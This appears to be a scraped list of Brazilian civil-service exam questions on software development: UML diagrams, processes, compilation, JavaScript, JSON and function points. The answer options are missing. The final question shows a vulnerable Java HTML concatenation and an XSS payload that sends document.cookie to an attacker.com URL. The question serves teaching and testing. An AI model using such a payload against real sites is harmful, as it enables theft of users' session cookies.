Foram encontradas 47.649 questões.
Disciplina: TI - Desenvolvimento de Sistemas
Banca: FAFIPA
Orgão: Pref. Campo Largo-PR
Um processo é formado por três partes: contexto de software, contexto de hardware e espaço de endereçamento. Das alternativas a seguir, qual delas apresenta apenas informações do contexto de software?
Provas
Disciplina: TI - Desenvolvimento de Sistemas
Banca: FAFIPA
Orgão: Pref. Campo Largo-PR
O diagrama de caso de uso (figura 1) apresenta as ações que os atores Vendedor e Supervisor poderão realizar no sistema. Baseado no diagrama, analise as assertivas a seguir:
I. O ator supervisor pode executar todos os casos de uso do diagrama.
II. Ao executar o caso de uso “Realizar Venda”, obrigatoriamente, será executado o caso de uso “Manter Cliente”.
III. Ao executar o caso de uso “Realizar Venda”, opcionalmente, será executado o caso de uso “Controlar Estoque”.
IV. O ator Vendedor pode executar o caso de uso “Gerar Relatório de Venda”, caso uma venda seja realizada.
V. Somente o ator Supervisor pode executar o caso de uso “Gerar Relatório de Venda”.
VI. O ator Supervisor não pode executar o caso de uso “Realizar Orçamento”.
Assinale a alternativa CORRETA:
Provas
Disciplina: TI - Desenvolvimento de Sistemas
Banca: FAFIPA
Orgão: Pref. Campo Largo-PR
Os diagramas UML objetivam fornecer múltiplas visões do sistema a ser modelado, analisando-o e modelando-o em diversos aspectos, buscando a completude da modelagem. Sobre os tipos de diagramas, relacione-os de acordo com sua finalidade:
I. Diagrama de Pacotes.
II. Diagrama de Implantação.
III. Diagrama de Sequência.
IV. Diagrama de Atividade.
V. Diagrama de Caso de Uso.
( ) Apresenta uma linguagem simples de fácil compreensão para que os usuários possam ter uma ideia geral de como o sistema irá se comportar.
( ) É considerado um diagrama estrutural que tem por objetivo representar subsistemas ou módulos englobados por sistema de forma a determinar as partes que o compõem.
( ) Trata-se de um diagrama comportamental que se preocupa com a ordem temporal em que as mensagens são trocadas entre os objetos envolvidos em um determinado processo.
( ) Objetiva descrever os passos a serem percorridos para conclusão de uma tarefa especifica, podendo esta ser representada por um método, algoritmo ou mesmo por um processo completo.
( ) Especifica as necessidades de hardware do sistema, as características físicas como servidores, estações, topologias e protocolos de comunicação.
Assinale a alternativa com a sequência CORRETA:
Provas
Disciplina: TI - Desenvolvimento de Sistemas
Banca: IBADE
Orgão: Câm. Vila Velha-ES
Algumas linguagens de programação necessitam que o seu código fonte seja traduzido para linguagem de máquina antes de gerar um executável. Essa fase do processo é chamada:
Provas
Disciplina: TI - Desenvolvimento de Sistemas
Banca: IMAIS
Orgão: Câm. Santos-SP
De acordo com o UML (Unified Modeling Language) na sua versão 2.5:, um diagrama de mostra uma máquina de estados, que consiste de estados, transições, eventos e atividades. Esses diagramas são importantes, principalmente, para fazer a modelagem do comportamento de uma interface, classe ou colaboração.
Assinale a alternativa que preenche corretamente a lacuna.
Provas
Disciplina: TI - Desenvolvimento de Sistemas
Banca: IMAIS
Orgão: Câm. Santos-SP
Sendo o UML (Unified Modeling Language) uma linguagem de notação, usada em projetos de softwares, na sua última versão 2.5, assinale a alternativa em que o diagrama faz parte do diagrama comportamental.
Provas
Disciplina: TI - Desenvolvimento de Sistemas
Banca: IMAIS
Orgão: Câm. Santos-SP
A propriedade do Javascript é responsável por retornar à referência do elemento através do seu ID.
Assinale a alternativa que preenche corretamente a lacuna.
Provas
Disciplina: TI - Desenvolvimento de Sistemas
Banca: IMAIS
Orgão: Câm. Santos-SP
Sobre o JSON (Javascript Object Notation), analise as proposições abaixo.
I. É composto por chave/valor.
II. É muito utilizado para comunicação de serviços web, principalmente, ao consumir APIs REST.
III. Em uma leitura simples de um JSON, não representa um objeto que tem atributos e cada atributo tem valores.
É correto o que se afirma, apenas, em
Provas
Considere que uma Analista de Sistemas do TJUSC está fazendo a análise por Pontos de Função (PFs) de um software em desenvolvimento. Ao seguir os passos da técnica, chegou-se à tabela abaixo.
Tabela completa de Pontos de Função do Software
Valor do domínio da informação | Contagem | Fator de Peso | Contagem x Fator de Peso | ||
Simples | Médio | Complexo | |||
Nº de Entradas Externas (EIs) | 3 | 3 | 4 | 6 | 9 |
Nº de Saídas Externas (EOs) | 2 | 4 | 5 | 7 | 8 |
Nº de Consultas Externas (EQs) | 2 | 3 | 4 | 6 | 6 |
Nº de Arq Lóg Internos (ILFs) | 1 | 7 | 10 | 15 | 7 |
Nº de Arq Interf Externos (EIFs) | 4 | 5 | 7 | 10 | 20 |
Contagem Total | 50 |
Para o cálculo de PF, utiliza-se a expressão empírica proposta pelo modelo para obtenção dos pontos de função:
PF ContagemTotal * (0,65 + 0,01*!$ \sum \limits_{i=1}^{14} F_i !$)
A Analista já realizou o cálculo que resultou em: !$ \sum \limits_{i=1}^{14} F_i = 46 !$ , valor que indica que o produto é moderadamente complexo. De acordo com os fundamentos da Análise por Pontos de Função e com os dados apresentados,
Provas
Disciplina: TI - Desenvolvimento de Sistemas
Banca: CESPE / CEBRASPE
Orgão: Min. Economia
Acerca de técnicas de ataque e tipos de vulnerabilidades, julgue o item a seguir.
Considere que uma aplicação use a seguinte informação não confiável na construção do HTML, sem validação ou escaping.
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter ("CC") + "'>";
Considere, ainda, que um atacante tenha alterado o parâmetro CC no browser pelo código a seguir.
><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>
Nesse caso, o risco de segurança da aplicação é a desserialização insegura.
Provas
Caderno Container